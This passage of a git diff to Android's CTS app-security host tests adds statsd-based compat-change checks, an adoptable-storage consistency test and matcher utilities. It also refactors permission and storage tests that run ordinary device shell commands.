+ RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(pkgName, TEST_RUNNER,
+ getDevice().getIDevice());
+ testRunner.setMethodName(testClassName, testMethodName);
+ CollectingTestListener listener = new CollectingTestListener();
+ assertThat(getDevice().runInstrumentationTests(testRunner, listener)).isTrue();
+
+ // Clear overrides.
+ resetCompatChanges(enabledChanges, pkgName);
+ resetCompatChanges(disabledChanges, pkgName);
+
+ // Clear statsd report data and remove config
+ Map<Long, Boolean> reportedChanges = getReportedChanges(CONFIG_ID, pkgName);
+ removeStatsdConfig(CONFIG_ID);
+
+ // Check that device side test occurred as expected
+ final TestRunResult result = listener.getCurrentRunResults();
+ assertWithMessage("Failed to successfully run device tests for %s: %s",
+ result.getName(), result.getRunFailureMessage())
+ .that(result.isRunFailure()).isFalse();
+ assertWithMessage("Should run only exactly one test method!")
+ .that(result.getNumTests()).isEqualTo(1);
+ if (result.hasFailedTests()) {
+ // build a meaningful error message
+ StringBuilder errorBuilder = new StringBuilder("On-device test failed:\n");
+ for (Map.Entry<TestDescription, TestResult> resultEntry :
+ result.getTestResults().entrySet()) {
+ if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
+ errorBuilder.append(resultEntry.getKey().toString());
+ errorBuilder.append(":\n");
+ errorBuilder.append(resultEntry.getValue().getStackTrace());
+ }
+ }
+ throw new AssertionError(errorBuilder.toString());
+ }
+
+ // Validate statsd report
+ validatePostRunStatsdReport(reportedChanges, enabledChanges, disabledChanges);
+ }
+
+ /**
+ * Gets the statsd report. Note that this also deletes that report from statsd.
+ */
+ private List<ConfigMetricsReport> getReportList() throws DeviceNotAvailableException {
+ try {
+ final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+ getDevice().executeShellCommand(String.format(DUMP_REPORT_CMD, CONFIG_ID), receiver);
+ return ConfigMetricsReportList.parser()
+ .parseFrom(receiver.getOutput())
+ .getReportsList();
+ } catch (InvalidProtocolBufferException e) {
+ throw new IllegalStateException("Failed to fetch and parse the statsd output report.",
+ e);
+ }
+ }
+
+ /**
+ * Creates and uploads a statsd config that matches the AppCompatibilityChangeReported atom
+ * logged by a given package name.
+ *
+ * @param configId A unique config id.
+ * @param pkgName The package name of the app that is expected to report the atom. It will be
+ * the only allowed log source.
+ */
+ private void createAndUploadStatsdConfig(long configId, String pkgName)
+ throws DeviceNotAvailableException {
+ final String atomName = "Atom" + System.nanoTime();
+ final String eventName = "Event" + System.nanoTime();
+ final ITestDevice device = getDevice();
+
+ StatsdConfigProto.StatsdConfig.Builder configBuilder =
+ StatsdConfigProto.StatsdConfig.newBuilder()
+ .setId(configId)
+ .addAllowedLogSource(pkgName);
+ StatsdConfigProto.SimpleAtomMatcher.Builder simpleAtomMatcherBuilder =
+ StatsdConfigProto.SimpleAtomMatcher
+ .newBuilder().setAtomId(
+ Atom.APP_COMPATIBILITY_CHANGE_REPORTED_FIELD_NUMBER);
+ configBuilder.addAtomMatcher(
+ StatsdConfigProto.AtomMatcher.newBuilder()
+ .setId(atomName.hashCode())
+ .setSimpleAtomMatcher(simpleAtomMatcherBuilder));
+ configBuilder.addEventMetric(
+ StatsdConfigProto.EventMetric.newBuilder()
+ .setId(eventName.hashCode())
+ .setWhat(atomName.hashCode()));
+ StatsdConfigProto.StatsdConfig config = configBuilder.build();
+ try {
+ File configFile = File.createTempFile("statsdconfig", ".config");
+ configFile.deleteOnExit();
+ Files.write(config.toByteArray(), configFile);
+ String remotePath = "/data/local/tmp/" + configFile.getName();
+ device.pushFile(configFile, remotePath);
+ device.executeShellCommand(String.format(UPDATE_CONFIG_CMD, remotePath, CONFIG_ID));
+ device.executeShellCommand("rm " + remotePath);
+ } catch (IOException e) {
+ throw new RuntimeException("IO error when writing to temp file.", e);
+ }
+ }
+
+ /**
+ * Gets the uid of the test app.
+ */
+ protected int getUid(@Nonnull String packageName) throws DeviceNotAvailableException {
+ int currentUser = getDevice().getCurrentUser();
+ String uidLine = getDevice()
+ .executeShellCommand(
+ "cmd package list packages -U --user " + currentUser + " "
+ + packageName);
+ String[] uidLineParts = uidLine.split(":");
+ // 3rd entry is package uid
+ assertThat(uidLineParts.length).isGreaterThan(2);
+ int uid = Integer.parseInt(uidLineParts[2].trim());
+ assertThat(uid).isGreaterThan(10000);
+ return uid;
+ }
+
+ /**
+ * Set the compat config using adb.
+ *
+ * @param enabledChanges Changes to be enabled.
+ * @param disabledChanges Changes to be disabled.
+ * @param packageName Package name for the app whose config is being changed.
+ */
+ private void setCompatConfig(Set<Long> enabledChanges, Set<Long> disabledChanges,
+ @Nonnull String packageName) throws DeviceNotAvailableException {
+ for (Long enabledChange : enabledChanges) {
+ execCommandAndGet("am compat enable " + enabledChange + " " + packageName);
+ }
+ for (Long disabledChange : disabledChanges) {
+ execCommandAndGet("am compat disable " + disabledChange + " " + packageName);
+ }
+ }
+
+ /**
+ * Reset changes to default for a package.
+ */
+ private void resetCompatChanges(Set<Long> changes, @Nonnull String packageName)
+ throws DeviceNotAvailableException {
+ for (Long change : changes) {
+ execCommandAndGet("am compat reset " + change + " " + packageName);
+ }
+ }
+
+ /**
+ * Remove statsd config for a given id.
+ */
+ private void removeStatsdConfig(long configId) throws DeviceNotAvailableException {
+ getDevice().executeShellCommand(
+ String.join(" ", REMOVE_CONFIG_CMD, String.valueOf(configId)));
+ }
+
+ /**
+ * Get the compat changes that were logged.
+ */
+ private Map<Long, Boolean> getReportedChanges(long configId, String pkgName)
+ throws DeviceNotAvailableException {
+ final int packageUid = getUid(pkgName);
+ return getReportList().stream()
+ .flatMap(report -> report.getMetricsList().stream())
+ .flatMap(metric -> metric.getEventMetrics().getDataList().stream())
+ .filter(eventMetricData -> eventMetricData.hasAtom())
+ .map(eventMetricData -> eventMetricData.getAtom())
+ .map(atom -> atom.getAppCompatibilityChangeReported())
+ .filter(atom -> atom != null && atom.getUid() == packageUid) // Should be redundant
+ .collect(Collectors.toMap(
+ atom -> atom.getChangeId(), // Key
+ atom -> atom.getState() == // Value
+ AtomsProto.AppCompatibilityChangeReported.State.ENABLED));
+ }
+
+ /**
+ * Validate that all overridden changes were logged while running the test.
+ */
+ private void validatePostRunStatsdReport(Map<Long, Boolean> reportedChanges,
+ Set<Long> enabledChanges, Set<Long> disabledChanges)
+ throws DeviceNotAvailableException {
+ for (Long enabledChange : enabledChanges) {
+ assertThat(reportedChanges)
+ .containsEntry(enabledChange, true);
+ }
+ for (Long disabledChange : disabledChanges) {
+ assertThat(reportedChanges)
+ .containsEntry(disabledChange, false);
+ }
+ }
+
+ /**
+ * Execute the given command, and returns the output.
+ */
+ protected String execCommandAndGet(String command) throws DeviceNotAvailableException {
+ final CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+ getDevice().executeShellCommand(command, receiver);
+ return receiver.getOutput();
+ }
+}
diff --git a/hostsidetests/appsecurity/OWNERS b/hostsidetests/appsecurity/OWNERS
index 5031616..81fa0d3 100644
--- a/hostsidetests/appsecurity/OWNERS
+++ b/hostsidetests/appsecurity/OWNERS
@@ -28,6 +28,8 @@
per-file PermissionsHostTest.java = moltmann@google.com
per-file PkgInstallSignatureVerificationTest.java = cbrubaker@google.com
per-file PrivilegedUpdateTests.java = toddke@google.com
+per-file ReviewPermissionHelper = moltmann@google.com
+per-file RequestsOnlyCalendarApp22.java = moltmann@google.com
per-file ScopedDirectoryAccessTest.java = jsharkey@google.com
per-file SharedUserIdTest.java = toddke@google.com
per-file SplitTests.java = toddke@google.com
@@ -38,4 +40,3 @@
per-file RequestsOnlyCalendarApp22.java = moltmann@google.com
per-file ReviewPermissionHelper = moltmann@google.com
per-file UsePermission*.java = moltmann@google.com
-
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableFeatureConsistentTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableFeatureConsistentTest.java
new file mode 100644
index 0000000..48fddc7
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableFeatureConsistentTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import static android.appsecurity.cts.AdoptableHostTest.FEATURE_ADOPTABLE_STORAGE;
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Set of tests that verify behavior of adopted storage media's consistency between the feature
+ * flag and what we sniffed from the underlying fstab.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+@AppModeFull(reason = "Instant applications can only be installed on internal storage")
+public class AdoptableFeatureConsistentTest extends BaseHostJUnit4Test {
+
+ private String mHasAdoptable;
+
+ @Before
+ public void setUp() throws Exception {
+ // Caches the initial state of adoptable feature to restore after the tests
+ mHasAdoptable = getDevice().executeShellCommand("sm has-adoptable").trim();
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ // Restores the initial cache value
+ getDevice().executeShellCommand("sm set-force-adoptable" + mHasAdoptable);
+ }
+
+ @Test
+ public void testFeatureTrue() throws Exception {
+ getDevice().executeShellCommand("sm set-force-adoptable true");
+ checkConsistency();
+ }
+
+ @Test
+ public void testFeatureFalse() throws Exception {
+ getDevice().executeShellCommand("sm set-force-adoptable false");
+ checkConsistency();
+ }
+
+ private void checkConsistency() throws Exception {
+ // Reboots the device and blocks until the boot complete flag is set.
+ getDevice().rebootUntilOnline();
+ assertTrue("Device failed to boot", getDevice().waitForBootComplete(120000));
+
+ final boolean hasFeature = getDevice().hasFeature(FEATURE_ADOPTABLE_STORAGE);
+ final boolean hasFstab = Boolean.parseBoolean(getDevice()
+ .executeShellCommand("sm has-adoptable").trim());
+ if (hasFeature != hasFstab) {
+ fail("Inconsistent adoptable storage status; feature claims " + hasFeature
+ + " but fstab claims " + hasFstab);
+ }
+ }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
index d8a280e..589b37f 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
@@ -23,6 +23,7 @@
import static android.appsecurity.cts.SplitTests.CLASS;
import static android.appsecurity.cts.SplitTests.PKG;
+import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import android.platform.test.annotations.AppModeFull;
@@ -49,11 +50,20 @@
public static final String FEATURE_ADOPTABLE_STORAGE = "feature:android.software.adoptable_storage";
+ private boolean mHasAdoptableInitialState;
+
@Before
public void setUp() throws Exception {
// Start all possible users to make sure their storage is unlocked
Utils.prepareMultipleUsers(getDevice(), Integer.MAX_VALUE);
+ // TODO(b/146491109): Revert this change before shipping and find long-term solution.
+ // Caches the initial state of adoptable feature and sets it to true (if not already set)
+ mHasAdoptableInitialState = Boolean.parseBoolean(
+ getDevice().executeShellCommand("sm has-adoptable").trim());
+ if (!mHasAdoptableInitialState) {
+ setForceAdoptable();
+ }
getDevice().uninstallPackage(PKG);
// Enable a virtual disk to give us the best shot at being able to pass
@@ -71,19 +81,9 @@
if (isSupportedDevice()) {
getDevice().executeShellCommand("sm set-virtual-disk false");
}
- }
-
- /**
- * Ensure that we have consistency between the feature flag and what we
- * sniffed from the underlying fstab.
- */
- @Test
- public void testFeatureConsistent() throws Exception {
- final boolean hasFeature = hasFeature();
- final boolean hasFstab = hasFstab();
- if (hasFeature != hasFstab) {
- fail("Inconsistent adoptable storage status; feature claims " + hasFeature
- + " but fstab claims " + hasFstab);
+ // Restores the initial cache value (if it is different)
+ if (!mHasAdoptableInitialState) {
+ getDevice().executeShellCommand("sm set-force-adoptable false");
}
}
@@ -117,17 +117,7 @@
// Unmount, remount and verify
getDevice().executeShellCommand("sm unmount " + vol.volId);
getDevice().executeShellCommand("sm mount " + vol.volId);
-
- int attempt = 0;
- String pkgPath = getDevice().executeShellCommand("pm path " + PKG);
- while ((pkgPath == null || pkgPath.isEmpty()) && attempt++ < 15) {
- Thread.sleep(1000);
- pkgPath = getDevice().executeShellCommand("pm path " + PKG);
- }
-
- if (pkgPath == null || pkgPath.isEmpty()) {
- throw new AssertionError("Package not ready yet");
- }
+ waitForInstrumentationReady();
runDeviceTests(PKG, CLASS, "testDataNotInternal");
runDeviceTests(PKG, CLASS, "testDataRead");
@@ -168,6 +158,18 @@
}
}
+ private void setForceAdoptable() throws Exception {
+ getDevice().executeShellCommand("sm set-force-adoptable true");
+ int attempt = 0;
+ boolean hasAdoptable = false;
+ while (!hasAdoptable && attempt++ < 5) {
+ Thread.sleep(1000);
+ hasAdoptable = Boolean.parseBoolean(getDevice()
+ .executeShellCommand("sm has-adoptable").trim());
+ }
+ assertTrue(hasAdoptable);
+ }
+
private void verifyPrimaryInternal(String diskId) throws Exception {
// Write some data to shared storage
new InstallMultiple().addApk(APK).run();
@@ -192,6 +194,8 @@
getDevice().executeShellCommand("sm unmount " + vol.volId);
runDeviceTests(PKG, CLASS, "testPrimaryUnmounted");
getDevice().executeShellCommand("sm mount " + vol.volId);
+ waitForInstrumentationReady();
+
runDeviceTests(PKG, CLASS, "testPrimaryAdopted");
runDeviceTests(PKG, CLASS, "testPrimaryDataRead");
@@ -236,6 +240,8 @@
getDevice().executeShellCommand("sm unmount " + vol.volId);
runDeviceTests(PKG, CLASS, "testPrimaryUnmounted");
getDevice().executeShellCommand("sm mount " + vol.volId);
+ waitForInstrumentationReady();
+
runDeviceTests(PKG, CLASS, "testPrimaryAdopted");
runDeviceTests(PKG, CLASS, "testPrimaryDataRead");
@@ -303,6 +309,8 @@
// Kick through a remount cycle, which should purge the adopted app
getDevice().executeShellCommand("sm mount " + vol.volId);
+ waitForInstrumentationReady();
+
runDeviceTests(PKG, CLASS, "testDataInternal");
boolean didThrow = false;
try {
@@ -364,7 +372,7 @@
for (String line : lines) {
final LocalVolumeInfo info = new LocalVolumeInfo(line.trim());
if (!"private".equals(info.volId) && "mounted".equals(info.state)) {
- return info;
+ return waitForVolumeReady(info);
}
}
Thread.sleep(1000);
@@ -372,6 +380,33 @@
throw new AssertionError("Expected private volume; found " + Arrays.toString(lines));
}
+ private LocalVolumeInfo waitForVolumeReady(LocalVolumeInfo vol) throws Exception {
+ int attempt = 0;
+ while (attempt++ < 15) {
+ if (getDevice().executeShellCommand("dumpsys package").contains(vol.volId)) {
+ return vol;
+ }
+ Thread.sleep(1000);
+ }
+ throw new AssertionError("Volume not ready " + vol.volId);
+ }
+
+ private void waitForInstrumentationReady() throws Exception {
+ // Wait for volume ready first
+ getAdoptionVolume();
+
+ int attempt = 0;
+ String pkgInstr = getDevice().executeShellCommand("pm list instrumentation");
+ while ((pkgInstr == null || !pkgInstr.contains(PKG)) && attempt++ < 15) {
+ Thread.sleep(1000);
+ pkgInstr = getDevice().executeShellCommand("pm list instrumentation");
+ }
+
+ if (pkgInstr == null || !pkgInstr.contains(PKG)) {
+ throw new AssertionError("Package not ready yet");
+ }
+ }
+
private void cleanUp(String diskId) throws Exception {
getDevice().executeShellCommand("sm partition " + diskId + " public");
getDevice().executeShellCommand("sm forget all");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
index 10ea74e..1465bc3 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
@@ -65,6 +65,10 @@
runDeviceTests(CLIENT_PKG, ".DocumentsClientTest", "testTree");
}
+ public void testTree_blockFromTree() throws Exception {
+ runDeviceTests(CLIENT_PKG, ".DocumentsClientTest", "testTree_blockFromTree");
+ }
+
public void testGetContent_rootsShowing() throws Exception {
runDeviceTests(CLIENT_PKG, ".DocumentsClientTest", "testGetContent_rootsShowing");
}
@@ -95,6 +99,10 @@
runDeviceTests(CLIENT_PKG, ".DocumentsClientTest", "testOpenDocumentTreeAtInitialLocation");
}
+ public void testOpenDocumentTreeWithScopedStorage() throws Exception {
+ runDeviceTests(CLIENT_PKG, ".DocumentsClientTest", "testOpenDocumentTreeWithScopedStorage");
+ }
+
public void testOpenRootWithoutRootIdAtInitialLocation() throws Exception {
runDeviceTests(CLIENT_PKG, ".DocumentsClientTest",
"testOpenRootWithoutRootIdAtInitialLocation");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExceptionUtils.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExceptionUtils.java
new file mode 100644
index 0000000..437f2aa
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExceptionUtils.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+/**
+ * Utilities to deal with exceptions
+ */
+public class ExceptionUtils {
+ private ExceptionUtils() {}
+
+ /**
+ * Gets the root {@link Throwable#getCause() cause} of {@code t}
+ */
+ public static Throwable getRootCause(Throwable t) {
+ while (t.getCause() != null) t = t.getCause();
+ return t;
+ }
+
+ /**
+ * Appends {@code cause} at the end of the causal chain of {@code t}
+ *
+ * @return {@code t} for convenience
+ */
+ public static <E extends Throwable> E appendCause(E t, Throwable cause) {
+ if (cause != null) {
+ getRootCause(t).initCause(cause);
+ }
+ return t;
+ }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index 8ae80fc..ec3594e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -614,6 +614,11 @@
runDeviceTests(config.pkg, config.clazz, "testMediaEscalation_Open", user);
runDeviceTests(config.pkg, config.clazz, "testMediaEscalation_Update", user);
runDeviceTests(config.pkg, config.clazz, "testMediaEscalation_Delete", user);
+
+ runDeviceTests(config.pkg, config.clazz, "testMediaEscalation_RequestWrite", user);
+ runDeviceTests(config.pkg, config.clazz, "testMediaEscalation_RequestTrash", user);
+ runDeviceTests(config.pkg, config.clazz, "testMediaEscalation_RequestFavorite", user);
+ runDeviceTests(config.pkg, config.clazz, "testMediaEscalation_RequestDelete", user);
}
@Test
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/MatcherUtils.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/MatcherUtils.java
new file mode 100644
index 0000000..3acfd90
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/MatcherUtils.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import static org.hamcrest.CoreMatchers.both;
+import static org.junit.Assert.assertThat;
+
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.Description;
+import org.hamcrest.Matcher;
+import org.hamcrest.TypeSafeMatcher;
+import org.junit.Assert;
+
+import java.util.function.Function;
+
+/**
+ * {@link Matcher} factories and {@link Assert#assertThat assertion} utilities.
+ */
+public class MatcherUtils {
+ private MatcherUtils() {}
+
+ /**
+ * Creates a matcher based on whether object's given property property satisfies
+ * the given matcher.
+ *
+ * This is often preferable over just retrieving the property directly and asserting on it, as
+ * it ensures the enclosing object is included in the error message, providing better context.
+ *
+ * E.g.:
+ * {@code
+ * Matcher<Intent> isExplicit =
+ * propertyMatches("component", Intent::getComponent, notNullValue());
+ * assertThat(myIntent, isExplicit);
+ * // ^ properly includes myIntent in error message, should match fail
+ * }
+ *
+ * @param propName property name to be used in error message
+ * @param propGetter retriever of the property value used for evaluation
+ * @param propCondition condition a property is asserted to satisfy
+ * @param <RECEIVER> type that has the given property
+ * @param <PROP> type of the given property
+ * @return a mather on {@code RECEIVER} type
+ */
+ public static <RECEIVER, PROP> Matcher<RECEIVER> propertyMatches(
+ String propName,
+ Function<? super RECEIVER, ? extends PROP> propGetter,
+ Matcher<? extends PROP> propCondition) {
+ return new TypeSafeMatcher<RECEIVER>() {
+ @Override
+ protected boolean matchesSafely(RECEIVER item) {
+ return propCondition.matches(propGetter.apply(item));
+ }
+
+ @Override
+ public void describeTo(Description description) {
+ description.appendText("has ")
+ .appendText(propName)
+ .appendText(" that ")
+ .appendDescriptionOf(propCondition);
+ }
+ };
+ }
+
+ /**
+ * A more type-safe version of: {@link CoreMatchers#instanceOf} && {@code cond},
+ * with {@code cond} being parametrized on the subtype being tested for as the first step.
+ */
+ public static <SUPER, SUB extends SUPER> Matcher<SUPER> instanceOf(
+ Class<SUB> type, Matcher<? super SUB> cond) {
+ return (Matcher<SUPER>) both(CoreMatchers.instanceOf(type)).and((Matcher) cond);
+ }
+
+ /**
+ * {@link Throwable} matcher based on whether its {@link Throwable::getMessage message} is
+ * matching {@code condition}.
+ */
+ public static Matcher<Throwable> hasMessageThat(Matcher<? super String> condition) {
+ return propertyMatches("message", Throwable::getMessage, condition);
+ }
+
+ /**
+ * Runs {@code action}, and asserts that it throws an exception matching {@code exceptionCond}.
+ */
+ public static void assertThrows(
+ Matcher<? super Throwable> exceptionCond, ThrowingRunnable action) {
+ Throwable thrown;
+ try {
+ action.run();
+ thrown = null;
+ } catch (Throwable t) {
+ thrown = t;
+ }
+ assertOrRethrow(thrown, exceptionCond);
+ }
+
+ /**
+ * Asserts that {@code exception} matches the given {@code condition}, or else
+ * throws the resulting assertion error, with the original exception attached as a cause.
+ */
+ public static <E extends Throwable> void assertOrRethrow(
+ E exception, Matcher<? super E> condition) throws AssertionError {
+ try {
+ assertThat(exception, condition);
+ } catch (AssertionError err) {
+ throw ExceptionUtils.appendCause(err, exception);
+ }
+ }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
index a1ec91e..72a76641 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
@@ -149,7 +149,7 @@
getDevice().executeShellCommand("cmd overlay enable --user current " + overlayPackage);
waitForOverlayState(overlayPackage, STATE_ENABLED);
- runDeviceTests(TEST_APP_PACKAGE, TEST_APP_CLASS, testMethod);
+ runDeviceTests(TEST_APP_PACKAGE, TEST_APP_CLASS, testMethod, false /* instant */);
} finally {
getDevice().uninstallPackage(TARGET_PACKAGE);
getDevice().uninstallPackage(overlayPackage);
@@ -294,7 +294,7 @@
@Test
public void testFrameworkDoesNotDefineOverlayable() throws Exception {
String testMethod = "testFrameworkDoesNotDefineOverlayable";
- runDeviceTests(TEST_APP_PACKAGE, TEST_APP_CLASS, testMethod);
+ runDeviceTests(TEST_APP_PACKAGE, TEST_APP_CLASS, testMethod, false /* instant */);
}
/** Overlays must not overlay assets. */
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index 946b74d..2b45911 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -16,6 +16,12 @@
package android.appsecurity.cts;
+import static android.appsecurity.cts.MatcherUtils.assertThrows;
+import static android.appsecurity.cts.MatcherUtils.hasMessageThat;
+import static android.appsecurity.cts.MatcherUtils.instanceOf;
+
+import static org.hamcrest.CoreMatchers.containsString;
+
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.Presubmit;
@@ -123,31 +129,16 @@
public void testFail() throws Exception {
// Sanity check that remote failure is host failure
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
- boolean didThrow = false;
- try {
- runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
- "testFail");
- } catch (AssertionError expected) {
- didThrow = true;
- }
- if (!didThrow) {
- fail("Expected remote failure");
- }
+ assertThrows(
+ instanceOf(AssertionError.class, hasMessageThat(containsString("Expected"))),
+ () -> runDeviceTests(USES_PERMISSION_PKG,
+ "com.android.cts.usepermission.UsePermissionTest23", "testFail"));
}
public void testKill() throws Exception {
// Sanity check that remote kill is host failure
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
- boolean didThrow = false;
- try {
- runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
- "testKill");
- } catch (AssertionError expected) {
- didThrow = true;
- }
- if (!didThrow) {
- fail("Expected remote failure");
- }
+ runThrowingTest("com.android.cts.usepermission.UsePermissionTest23", "testKill");
}
@AppModeFull(reason = "Instant applications must be at least SDK 26")
@@ -166,16 +157,8 @@
approveReviewPermissionDialog();
- boolean didThrow = false;
- try {
- runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
- "testCompatRevoked_part1");
- } catch (AssertionError expected) {
- didThrow = true;
- }
- if (!didThrow) {
- fail("App must be killed on a permission revoke");
- }
+ runThrowingTest("com.android.cts.usepermission.UsePermissionTest22",
+ "testCompatRevoked_part1");
runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
"testCompatRevoked_part2");
}
@@ -258,32 +241,16 @@
public void testRevokeAffectsWholeGroup23() throws Exception {
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
- boolean didThrow = false;
- try {
- runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
- "testRevokeAffectsWholeGroup_part1");
- } catch (AssertionError expected) {
- didThrow = true;
- }
- if (!didThrow) {
- fail("Should have thrown an exception.");
- }
+ runThrowingTest("com.android.cts.usepermission.UsePermissionTest23",
+ "testRevokeAffectsWholeGroup_part1");
runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
"testRevokeAffectsWholeGroup_part2");
}
public void testGrantPreviouslyRevokedWithPrejudiceShowsPrompt23() throws Exception {
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
- boolean didThrow = false;
- try {
- runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
- "testGrantPreviouslyRevokedWithPrejudiceShowsPrompt_part1");
- } catch (Throwable expected) {
- didThrow = true;
- }
- if (!didThrow) {
- fail("App must be killed on a permission revoke");
- }
+ runThrowingTest("com.android.cts.usepermission.UsePermissionTest23",
+ "testGrantPreviouslyRevokedWithPrejudiceShowsPrompt_part1");
runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
"testGrantPreviouslyRevokedWithPrejudiceShowsPrompt_part2");
}
@@ -321,15 +288,8 @@
public void testNoDowngradePermissionModel() throws Exception {
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
- boolean didThrow = false;
- try {
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), true, false));
- } catch (AssertionError expected) {
- didThrow = true;
- }
- if (!didThrow) {
- fail("Permission mode downgrade not allowed");
- }
+ assertNotNull("Permission mode downgrade not allowed",
+ getDevice().installPackage(mBuildHelper.getTestFile(APK_22), true, false));
}
public void testNoResidualPermissionsOnUninstall() throws Exception {
@@ -347,16 +307,8 @@
approveReviewPermissionDialog();
- boolean didThrow = false;
- try {
- runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
- "testRevokePropagatedOnUpgradeOldToNewModel_part1");
- } catch (AssertionError expected) {
- didThrow = true;
- }
- if (!didThrow) {
- fail("App must be killed on a permission revoke");
- }
+ runThrowingTest("com.android.cts.usepermission.UsePermissionTest22",
+ "testRevokePropagatedOnUpgradeOldToNewModel_part1");
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), true, false));
runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
"testRevokePropagatedOnUpgradeOldToNewModel_part2");
@@ -549,8 +501,28 @@
"reviewPermissionWhenServiceIsBound");
}
+ public void testGrantDialogToSettingsNoOp() throws Exception {
